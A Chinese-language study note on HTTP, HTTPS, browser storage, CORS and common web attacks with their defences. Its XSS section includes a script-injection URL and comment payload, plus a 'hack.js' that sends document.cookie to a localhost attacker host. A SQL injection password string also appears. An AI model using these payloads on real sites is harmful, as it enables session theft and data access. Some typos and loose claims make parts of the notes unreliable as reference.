总结一些关于http的一些知识,来一起回顾一下吧~~
http和https
http 状态码
- 1xx. 请求正在处理
- 2xx. 请求正常处理
- 204 请求处理成功服务器没有资源返回
- 206 客户端进行了范围请求,请求头中加入Range字段,返回的数据属于Content-Rage(响应头) 指定的范围。(注意范围请求需要服务端支持,即响应头中Accept-Ranges: bytes。 如果不支持值就为none)
- 3xx 重定向
- 301 永久重定向,如果url被保存为书签,则会被提示重新保存
- 302 临时重定向, 资源url 只是暂时修改
- 304 服务端资源未改变,和重定向没半毛钱关系
- 307 也属于一种临时重定向,但是会严格遵循浏览器标准不会将post 变为get, 302也是这种标准,但是人们不遵守
- 4xx 客户端错误
- 400 请求报文中存在语法错误
- 401 未通过认证
- 403 没有权限访问资源
- 404 找不到请求的资源
- 5xx 服务器错误
- 500 服务器内部请求资源发生错误
- 503 服务器超负载宕机或者停机维护
- 504 GetWay 网关超时
- 常见头部字段
- Content-Type (request/ response)
- application/json
- formData
- application/x-www-form-urlencoded
- Accept 字段
- Accept-Encoding: gzip // 压缩报文主体(客户端request)
- Content-Encoding: gzip // 响应主体压缩(response)
- accept-language
- request Headers
- cookie
- referer
- origin
- Use-agent
- host
- Connection
- If-modified-since
- If-modified-Match
- Response Headers
- Express
- Cache-control
- last-modified
- etag
- Access-control-allow-methods
- Access-control-allow-origin
- Access-Control-Allow-Headers
- Access-Control-Max-Age. 预检请求缓存时间
- Access-control-Allow-Credentials。cors是否允许携带凭证
- Content-Type (request/ response)
http报文组成
- 请求报文 (
- 请求行 包含一些http的信息方法以及请求地址
- 请求头 headers
- 空行 用来分割,当遇到空行服务端就知道下一个不再是请求头,而是请求体
- 请求体 请求的参数
- 响应报文 (
- 状态行: http协议版本,状态码等
- 响应头: headers
- 空行 : 用于分割
- 响应体: 服务端返回的数据
http 请求方法
-
get
-
post
-
put
-
delete
-
HEAD
-
options
-
connect
-
Trace
get 请求和post 请求区别
- get 请求会被浏览器主动缓存,而post不会,除非手动设置
- get请求是幂等的,post 不是
- get请求回退的时候是无害的,get请求参数会被保留在浏览器记录中。post请求会重新发起请求
- get请求在url中长度有限制(其实是http限制),且get请求只能进行URL编码,只能接收ASCII字符,post无限制
http 1.0 和1.1 的区别
-
缓存策略,http1.0 中只有
exprise, 和if-Modiified-Since,1.1 中新增了etagCache-control等。// TODO: -
http1.1 新增了范围请求,在请求头中添加range字段请求范围资源,返回206状态码(如用于大文件上传下载,断点续传等)
-
Http1.1 默认开启长链接,长链接主要是减少了握手次数(之前是一个tcp链接只发一个请求,处理完之后就断开链接,下次新的请求又会重新建立t c p链接,长连接是一个tcp链接里面可以发送多个请求) connection: keep-alive, 关闭connection: close
-
http1.0 会头部阻塞,只能串行执行,即第二个请求必须等第一个请求响应到达才可以发送,(长链接也有这个问题)所以http1.1 新增管道化,基于长链接,可以实现不需要等待响应就可以发送并行请求,但是会有队头阻塞问题
长链接管道化开启后,会出现队头阻塞问题,注意与上面的1.0头部阻塞区分。因为长链接管道化响应必须按照顺序返回。举个列子:
客户端一个tcp同时传输10个请求,其中1,2,3,4 请求被服务端接收,但是第五个请求丢失,那么后面的请求就会被阻塞,即使后面的请求已经处理完了,但是管道化需要按照顺序返回,还是需要等待第五个处理完后才可以返回,这样就浪费了资源
所以可以通过下面这两种办法优化,但是不能完全解决,直到http2.0提出多路复用
- 并发TCP长链接,每一个域名可以并发6-8个长链接,chrome6个,firefox 8个
- 通过域名分片的形式,新增几个二级域名,这样的话,当访问一级域名的时候,资源就可以从不同的二级域名中获取,这样可以并发更多的TCP长链接
http 1.x 和http2.0的区别
-
http2.0新增服务端推送
服务器之前不会主动推送内容给客户端,除非采用websocket
服务器不再被动接收请求,比如浏览器请求html文件,服务器就可以在返回html基础上,将里面引用到的其他文件资源一起返回,一个请求发送多个响应
-
多路复用
-
二进制分帧
http2.0 通过二进制分帧的方式来解决队头阻塞
实际上是将headers, body 的报文解析成二进制的帧数据,Headers帧和Data帧,服务器看到的是一堆乱序的二进制帧,这些数据不存在先后顺序,所以也不存在排队等待队头阻塞问题,通信双方都可以发送二进制帧,这种双向传输的序列,就叫做流,通过用流来在一个tcp链接上进行多个数据帧通信,这就是
多路复用。二进制到达对方后,会通过将相同的流id组装成完整的请求和响应报文 -
头部压缩
针对头部字段headers通过HPACK算法进行压缩,通过在客户端和服务端之间建立一张哈希表,将用到的字段存在表中,然后传输的时候对之前出现的值,把索引传递给对方,然后通过拿索引查表就可以了,可以极大精简
-
http 缺点
- 通信使用明文,没有加密,内容可能会被窃听
- 通过加密方式来进行,一种是通信加密,通过SSL 建立安全通信线路,即HTTPS.
- 通过对HTTP 报文进行加密处理
- 不验证通信方的身份,可能遭遇伪装
- SSL 会提供一种证书的手段,证书由第三方信任机构颁发,当客户端和服务端相互通信之前,会先判断证书是否有效
- 无法验证报文的完整性,有可能请求和响应传输途中被篡改 (中间人攻击)
- 使用https
- 通信使用明文,没有加密,内容可能会被窃听
https (套着SSL的http)
http + 认证(证书) + 加密 + 完整性保护(数字签名) = https
- 证书 (用来验证服务端信息)
- 加密 (用来保护传输信息)
- 数字签名 (用来保护证书的信息不被篡改)
- 数字签名保护 依赖于CA机构私钥,私钥泄漏就完犊子了。
证书认证和加密方式和数字签名
(非对称加密和解密耗时远远大于对称加密)
-
对称加密 (通过一个密钥来进行加密和解密操作) 这样的话,如果密钥在传输过程中被监听到后,则数据就会泄漏,所以引入非对称加密
-
非对称加密 (一把公钥,一把私钥,公钥加密只能用私钥解密)私钥只存在服务端,这样的话,只有服务端可以解密。但是这样也有一个问题 (中间人攻击)
-
如果中间人自己伪造了一把公钥B,一把私钥B,当服务器发给客户端公钥A的时候中间人进行拦截,然后将自己的公钥B发给客户端,然后客户端利用公钥B进行加密,发送给服务器的时候,中间人又进行拦截,利用自己的私钥B进行解密,然后和服务端进行通信。所以这个问题本质上就是客户端无法 验证收到的公钥是服务器发来的,所以就需要CA机构证书,来验证服务端信息
-
服务端使用https前去CA机构颁发一套数字证书,里面包含证书的持有者,证书有效期,公钥信息,这样的话,客户端去验证证书身份和访问网站身份一致后,拿到证书里面的公钥去进行加密操作,但是,这样还是会有一个问题,就是中间人拦截到服务器传给客户端的证书后,只修改里面的公钥信息,将里面的公钥修改为自己的,然后传给客户端,还是会出现中间人攻击。
-
所以就需要数字签名,CA机构自己有一对公钥和私钥,在颁发证书的时候,对证书信息进行hash,然后通过私钥将hash值进行加密,然后得到数字签名,放到证书上传递给客户端,客户端拿到后,通过证书里面的hash算法对证书内容进行hash 得到一个hash值,然后利用CA机构的公钥进行解密证书中的数字签名拿到hash值,然后两个hash值对比,如果不相等则代表证书被修改了。(CA机构的公钥一般会内置在客户端中)
这里有个难理解的地方,客户端存储的是CA机构的公钥
中间人如果篡改数字签名,因为他不知道CA的私钥,所以如果自己修改后,CA的公钥是解析不出来的
CA公钥是内置在浏览器里面的,中间人无法获取。
- 单向认证 验证服务端身份,就是服务端发送证书,客户端验证证书
- 具体可看下面 https具体加密流程
- 双向认证 除了客户端验证服务端后,还有服务端验证客户端身份, 一般是利用用户手机码验证码密码之类的凭证来验证,只有安全性极高的才需要双向认证
- 客户端发起https请求,并且向服务端发送SSL协议版本信息,加密算法类型等
- 服务端给客户端返回证书,SSL协议版本,加密算法种类等
- 客户端验证服务端证书是否合法,合法就通过,不合法就警告
- 客户端发送自己的证书和公钥发送到服务端
- 服务端对客户端证书进行校验,然后拿到客户端的公钥
- 服务端将选择好的加密方式种类等利用客户端公钥进行加密,然后发送给客户端
- 客户端拿到后利用自己的私钥进行解密,拿到加密方式,生成随机key, 然后利用服务端公钥加密后发给服务端,后面和服务端通信就利用随机key进行加密和解密
- 单向认证 验证服务端身份,就是服务端发送证书,客户端验证证书
-
https具体加解密流程
https具体加解密流程
- 用户在浏览器中发起https请求,默认使用443端口连接,发送客户端SSL版本信息,加密类型
- 要使用https.需要服务端先去CA机构申请一套数字证书,服务器配置好证书。
- 服务器接收到请求后,会把证书给客户端,证书中包含一个公钥(pub),其对应的私钥(pri)保存在服务器中
- 客户端收到证书后,通过证书验证服务器身份,验证证书,看其是否有效,证书域名和请求域名是不是一致等,如果没有通过则会显示https警告信息
- 服务端将客户端传给服务端的加密方式进行选择后,以明文方式发给客户端
- 证书验证通过后,客户端利用加密方式生成一个随机的key值,通过服务器证书中的公钥进行加密,然后发送给服务器
- 服务器收到加密后的随机key,利用自己的私钥解密得到随机key.然后使用随机key来对要传输的数据进行加密,返回给客户端
- 客户端拿到密文后,利用随机key进行解密,拿到数据,后面和服务端通信就利用随机key进行加密和解密
Https 链接过程
以前是http--->tcp, 三次握手建立TCP连接
现在是 https----->SSL----->tcp。在通信的时候先和ssl 通信,然后再建立tcp连接
- SSL 握手流程
https 缺点
- 相对来说,处理速度会变慢,因为https使用了SSL/TLS,
- 一种是处理速度慢,因为https需要做加密解密处理,消耗cpu和内存和更多的资源。所以还会可能导致每台服务器处理请求的数量变少。
- 一种是通信慢。ssl通信部分需要对通信做一些处理
- 要进行https通信,需要购买证书,要花钱
http和https区别
-
http是无状态的,https 中的s s l是有状态的???
-
http是明文传输,https是加密传输
-
http不需要认证证书,https 为了安全需要认证证书
-
http进行三次握手,https需要TLS 1.2版本7次,1.3六次
-
http端口是80,https端口是443
XSS / CSRF
XSS(Cross-site script) 跨站脚本攻击
产生的漏洞使得别人的脚本可以在自己网站运行,比如运行html标签或者javascript
产生的问题
- 可能会导致利用脚本来窃取用户cookie的值,然后发送恶意请求
- 显示伪造的文章或者页面等,执行恶意的JavaScript代码
-
反射型
依赖于用户点击了这个恶意链接,比如在url 参数中直接注入脚本
例如用户登陆访问了A网站后, 假设A网站存在漏洞,然后攻击者给用户发了一个恶意链接,当用户点击了这个恶意链接后, 则被攻击。泄露自己的cookie
// 例如: A网站有一个接口是在url上带参数然后去获取数据 A网站地址: http://localhost:3000/?name="张三" 攻击者将恶意链接伪装成这样 http://localhost:3000/?name=<script src="http://localhost:8000/hack.js" ></script> // 这里的网址看起来可能比较奇怪,一般为了诱导用户点击,会进行一次短域名转换,即利用短域名服务,将其转为看起来比较正常的网址 // hack.js const img = new Image() img.src = "htttp://localhost:8000/img?c=" + doucment.cookie -
存储型
攻击者将恶意代码提交到服务器,当用户浏览这个网页的时候,就会执行次恶意代码,一般常见论坛发帖,评论等
例如,网站有一个评论功能,当攻击者在评论的时候,注入恶意内容后,提交评论后存储,则后面每一个用户登陆的时候,都会执行被注入的脚本,然后被攻击
// A网站有一个评论功能,用户登陆后可以进行评论,也可以看到别人的评论
当攻击者评论的时候,将评论写成如下方式,
来了,老弟~<script src="http://localhost:8000/hack.js"></script>
// 这样该评论会被存在服务器,下次只要有用户登陆,就会执行hack.js,则hack.js里面就会做一些攻击操作
防御手段
-
对cookie设置httpOnly字段,禁止访问cookie.
response.addHeader("Set-Cookie", "uid=123456; path=/; HttpOnly")- 不要信任用户输入的任何东西,比如对用户输入的引号。尖括号,斜杠等进行转译。或者利用ejs来对字符串进行转译。但是有的时候,在富文本编辑的时候,常常不需要转译,则可以利用白名单的方式(CSP),或者利用xss库来做防御
const xss = require('xss')- CSP(内容安全策略)
是一个附加的安全层,可以帮组检测某些类型的攻击,如跨站脚本和数据注入等,本质上就是建立白名单,告诉浏览器哪些外部资源可以进行执行和加载
// 只允许加载本站资源 Content-Security-Policy: defalut-src 'self' // 只允许加载https 协议图片 Content-Security-Policy: img-src https://* // 不允许加载任何来源框架 Content-Security-Policy: child-src 'none'
CSRF(Cross Site Request Forgery) 跨站请求伪造
利用用户已经登陆的身份,借助cookie绕过后台用户验证,以用户的名义完成非法操作
产生的问题
- 利用用户登陆态在用户不知情下完成业务请求
- 盗取用户资金 转账消费等
一般流程:
例如,用户登陆了A网站,然后该网站保留了登陆凭证cookie, 如果A网站没有做csrf 防御,当用户的cookie 还在生效的时候,攻击者诱导用户访问B网站, 然后B网站就会向A网站发送一个正常请求(比如转账等危险请求),这时候。浏览器就会默认携带上A网站下的cookie, 然后服务器误以为这是用户自己发的请求,完蛋,中招!
CSRF 两个特点。一个是 攻击者并不能获取cookie信息,只是利用cookie 发送危险请求,还有一个特别就是,这个请求一般都发生在第三方,不是同一个域名
防御手段
-
通过验证码,对高危操作进行验证
-
通过 Request Headers 中的 origin / referer 来进行判断是不是网站自己的请求
origin: 记录了请求来自哪一个站点,只有服务器名,没有路径信息
referer: 不仅包含服务器名,还有详细路径信息
-
通过添加一个攻击者无法获取的token,在请求的时候直接携带,然后服务器进行token验证,这样就攻击者就无法进行伪造发送请求
-
添加cookie 的 SameSite 字段
分为三种值,默认为none, 目前大多数浏览器在将默认值none 改为Lax模式
None: 浏览器会在同站请求和跨站请求下都发送cookie
Lax: 与strict 大致一样,但是,他允许从其他站点链接到(link)ulr的时候也可发送cookie
Strict: 只可以在相同站点的时候才可以发送cookie
点击劫持
点击劫持是一种视觉欺骗攻击手段,攻击者将需要攻击的网站通过iframe 嵌入到自己的网页中,然后将iframe设置为透明,在页面中透出一个按钮诱导用户点击
防御手段
-
利用X-FRAME-OPTIONS 来进行设置, 是一个HTTP响应头, 防止使用iframe 嵌套点击劫持攻击
DENY: 页面不允许通过iframe 方式展示
SAMEORIGIN: 页面可以在相同域名下通过iframe 方式展示
ALLOW-FROM : 页面可以在指定来源的iframe 中展示
-
利用js
if (self === top) { // self 是当前窗口相当于window, top 返回顶层窗口,即浏览器窗口 // xxxx } else { top.location = self.location }
请求劫持
- DNS 劫持(DNS 服务器解析的步骤被篡改,修改了域名解析结构,使得获取的ip地址并不是真实的ip地址)
- HTTP 劫持
防御手段
升级HTTPS 可以很好的防止HTTP和DNS 劫持,因为https 安全是由SSL来保证的,需要对的证书,链接才会成立,如果DNS 解析的域名没有对应ip,是没有办法通过证书认证的。连接就会被终止。
DDOS
DDOS其实是一大类攻击的总称,目的就是为了让网站跑不起来,使得服务瘫痪
常见攻击手段:
通过向目标服务建立大量TCP链接,使得服务拒绝
防御手段
- 设置白名单
- 带宽进行扩容 添加 CDN 服务
SQL注入
其实就是在请求数据库的时候,将用户输入的直接放到了数据库查询语句中,导致查询语句实际上已经被转换
// 将密码设置为 '1' or '1' = '1'
Select * from test.user where usename = 'lala' and password = '1' or '1' = '1'
防御手段
将数据库的查询语句使用数据库提供的参数化查询接口,而不是将用户输入的变量直接嵌入到s q l 语句中
cookie 和 storage
cookie
用于在客户端存储的会话信息,服务器指定cookie后,浏览器的每次请求都会携带cookie数据,当然也会带来额外性能开销
-
Set-Cookie
服务器在响应头headers 中使用Set-cookie , 将cookie设置到客户端,然后客户端会将cookie 保存起来,之前在每一次请求服务器的时候,都会将保存的cookie信息通过requestheaders 中的cookie 发给服务器
-
Max-age
-
expires
当cookie设置了过期时间后,设定的日期和时间取决于客户端,与服务器无关
当cookie 没有设置过期时间的时候,浏览器关闭后会被自动删除,如果设置了expires和max-age 的时候,会优先以max-age值为准
-
Domain
设置哪些地址可以接收cookie, 默认为origin(同源)
// 如果设置 Domain=mozilla.org // 则 Cookie 也包含在子域名中(如developer.mozilla.org)。 -
Path
标识了主机下哪些路径可以接受cookie,该路径必须存在于请求URL中,比如设置Path=/users, 则/users/men ,/users/men/xxx等都可以匹配
-
Secure
标记为secure 为true 的cookie 只应通过被https协议加密过的请求发送给服务端
-
HttpOnly
设置httpOnly的cookie,js 的doument.cookie 无法访问
-
SameSite (某个cookie在跨站请求的时候不会被发送)
-
默认为none, 浏览器会在同站请求和跨站请求下都发送cookie。目前大多数浏览器在将默认值none 改为Lax模式
-
Strict: 只可以在相同站点的时候才可以发送cookie
-
Lax: 与strict 大致一样,但是,他允许从其他站点链接到(link)ulr的时候也可发送cookie
-
storage
定义了两个对象 sessionStorage / localStorage
Object.prototype.toString.call(sessionStorage)
"[object Storage]"
sessionStorage 和localStorage 上任何的变化(使用属性或者setItem设置值,delete 或者removeItem()删除值,或者使用clear())都会触发storage 事件,但是storage事件是不会区分这两者的区别
window.addEventListener("storage", (event) => {
const {
domain, // 存储变化对应的域
key, // 被设置或者删除的键
newValue, // 键被设置的新值,若键被删除则为null
oldValue // 键变化之前的值
} = event;
})
数据的大小限制是按照每个源(同协议, 同域和同端口),一般每个源为5MB
-
sessionStorage
- 不受页面刷新影响,浏览器奔溃并重启后也可以恢复
- 只存储到浏览器关闭·
// setItem() getItem() delete. removeItem() clear() // 可以使用for in 来迭代sessionStorage for (let key in sessionStorage) { const value = sessionStorage.getItem(key); } // sessionStorage.length 可以获取个数 // key(index) // 获取给定位置的值 -
localStorage
- 数据不受刷新页面影响,也不会因关闭窗口,标签页或重启浏览器丢失
- 只有清除浏览器缓存或者通过javaScript 删除
// 存储数据 (使用setItem 或者属性) localStorage.setItem("name", 'lalala') localStorage.name = 'lalala' // 获取数据 localStorage.getItem("name") localStorage.name // 删除值 delete localStorage.name localStorage.removeItem('name') // clear() 清除所有值 // localStorage.length 可以获取个数 // localStorage.key(0) // name
跨域
- 同源是指: 同域名,同协议,同端口
为什么有跨域
默认情况下,x h r 只能访问与发起请求的页面在同一个域内的资源,这样就可以防止某些恶意行为,保证用户安全比如说csrf。
同源策略是浏览器中实现的,请求跨域,实际上请求已经发出,但是浏览器拦截了响应
解决跨域的方式
Cors, JSONP, Img, 等
CORS (Cross-Origin Resource Sharing)
CORS 定义了浏览器与服务器如何实现跨源通信,CORS请求分为了两种,简单请求和预检请求.当浏览器再尝试访问不同源的时候,这个行为就会自动触发,当然还需要修改服务器,只有服务器实现了CORS接口(必须配置了
Access-Control-Allow-Origin和Access-Control-Allow-Methods)才可以跨源通信
-
简单请求
简单请求,一般是GET,POST,请求,没有自定义头部,Content-Type 是text/plain 或者application/x-www-form-urlencode 或 multipart/form-data
在发送请求的时候,会有一个额外的头部Origin, 里面包含了发送请求的页面的协议域名和端口,用来服务器进行判断是否与其做响应。如果服务器会响应,则响应头中会包含
Access-Control-Allow-Origin头部,值为相同的源,如果是公开资源,则值为*,如果没有这个头部,或者值不匹配,则浏览器就会拦截此响应,控制台抛出错误 -
非简单请求(再发送前多发一个预检请求)
允许使用自定义头部,以及除了GET 和POST 之外的方法,还有和简单请求不同的Content-Type,都会先向服务器发送一个预检请求,该请求采用
OPTIONS方法 options 请求会含有Origin 头部,以及
Access-Control-Request-Methods头部,值为将要请求的方法,比如这个跨域请求是post请求,则他的值为post, 如果这个请求有自定义头部,则也会包含Access-Control-Request-Headers。 请求发送后,服务器会在响应中发送下面的 头部来告诉浏览器Access-Control-Allow-Origin允许的源Access-Control-Allow-Methods允许的方法Access-Control-Allow-Headers允许的头部Access-Control-Max-Age允许预检请求缓存的时间(这样在缓存时间内,后面的跨域请求就不会再发预检请求,就会和简单请求一样)
-
凭据请求
凭据包含(cookie, HTTP 认证和客户端SSL证书)
在跨域请求中,默认情况下无论请求还是响应都不会包含凭据信息,如果需要服务端携带凭据,则需要在响应头中配置
Access-control-Allow-Credentials:true.如果请求需要发送凭据,则需要在请求时候,给xhr 配置withCredentials:true.配置后如果响应头中没有返回Access-control-Allow-Credentials:true,则浏览器还是会拦截响应
图片探测
利用img标签来实现跨域通信,而且不需要服务端进行配置,通过动态创建图片,然后监听他的onload和onerror 来判断什么时候接收到了响应,但是他的缺点是只能发送get请求,而且虽然可以监听到什么时候接收到了响应,但是不能拿到响应的内容
let img = new Image();
img.src = 'http://www.test.com/test?name='lalala';
img.onload = img.onerror = () => {
alert('收到响应')
}
JSONP
通过动态创建Script标签,然后为其元素的src 属性指定要跨域的URL,然后和服务端商量,由服务端返回一个预先设定好的回调函数js函数调用,将服务器的数据通过这个函数的参数来传递(传递的是json数据)。
// 定义获取数据的回调方法
function getResponseData(data) {
console.log(data);
}
// 创建一个script标签,并且告诉后端回调函数名叫 getResponseData
let script = document.createElement("script")
script.src = 'http:www.test/demo?callback=getResponseData';
document.body.insertBefore(script, document.body.firstChild)
// script 加载完毕之后从页面中删除
script.onload = function () {
document.body.removeChild(script);
}
缺点: 不好确定请求是否失败,只能用于get请求
服务器代理
通过配置虚拟服务器代理,进行转发,服务器不存在跨域问题。